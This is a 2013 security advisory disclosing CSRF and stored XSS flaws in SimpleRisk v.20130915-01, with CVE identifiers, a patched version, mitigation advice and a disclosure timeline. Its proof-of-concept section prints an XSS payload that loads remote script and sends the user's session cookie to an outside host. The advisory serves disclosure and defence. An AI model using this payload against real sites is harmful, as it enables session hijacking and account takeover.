SimpleRisk v.20130915-01 CSRF-XSS Account Compromise
1. *Advisory Information*
Title: SimpleRisk v.20130915-01 CSRF-XSS Account Compromise
Advisory ID: RS-2013-0001
Date Published: 2013-09-30
2. *Vulnerability Information*
Type: Cross-Site Request Forgery (CSRF) [CWE-352, OWASP-A8], Cross-Site Scripting (XSS) [CWE-79, OWASP-A3]
Impact: Full Account Compromise
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE-ID: CVE-2013-5748 (CSRF) and CVE-2013-5749 (non-httponly cookie)
3. *Software Description*
SimpleRisk a simple and free tool to perform risk management activities. Based entirely on open source technologies and sporting a Mozilla Public License 2.0, a SimpleRisk instance can be stood up in minutes and instantly provides the security professional with the ability to submit risks, plan mitigations, facilitate management reviews, prioritize for project planning, and track regular reviews. It is highly configurable and includes dynamic reporting and the ability to tweak risk formulas on the fly. It is under active development with new features being added all the time. SimpleRisk is truly Enterprise Risk Management simplified. 
4. *Vulnerability Description*
Cross-Site Request Forgery (CSRF) and Stored Cross-Site Scripting (XSS) have been discovered within SimpleRisk version 20130915-01 leading to complete account compromise. The CSRF vulnerability is used to deliver the XSS payload which accesses the authenticated user's session cookies and transmits them to a third-party domain under the attacker's control. Once the attacker has the user's session cookie, the attacker can authenticate to the application as the user.
5. *Vulnerable Packages*
Only version 20130915-01 was tested which was the latest version at the time of writing.
6. *Vendor Information, Solutions and Workarounds*
SimpleRisk released version 20130916-001 to address the issue.
These vulnerabilities were discovered by Ryan Dewhurst - http://www.randomstorm.com/ - http://www.dewhurstsecurity.com/
8. *Proof of Concept (PoC)*
8.1 *Cross-Site Request Forgery (CSRF)*
The following CSRF PoC submits a POST request to the prioritize_planning.php page with the XSS payload within the new_project parameter.
8.2 *Stored Cross-Site Scripting (XSS)*
Payload: <script src=//ethicalhack3r.co.uk/files/xss/c.j></script>
document.write('<img src=//ethicalhack3r.co.uk/srx=' + document.cookie + '>');
9.1 *Cross-Site Request Forgery (CSRF)*
Set per page anti-csrf tokens (nonces) which are submitted with requests and then validated by the server. Please refer to OWASP's CSRF Prevention Cheat Sheet for further information. 
9.2 *Cross-Site Scripting (XSS)*
Properly sanitise and encode user supplied input and output. Please refer to OWASP's XSS Prevention Cheat Sheet for further information. 
9.3 *Other Recommendations*
. Set the X-XSS-Protection header to ensure the browser's XSS filtering is enabled. (only works for reflected XSS) 
10. *Report Timeline*
2013-09-16: SimpleRisk notified of issue.
2013-09-16: SimpleRisk acknoledged issue.
2013-09-16: SimpleRisk release new version.
2013-09-30: Advisory released.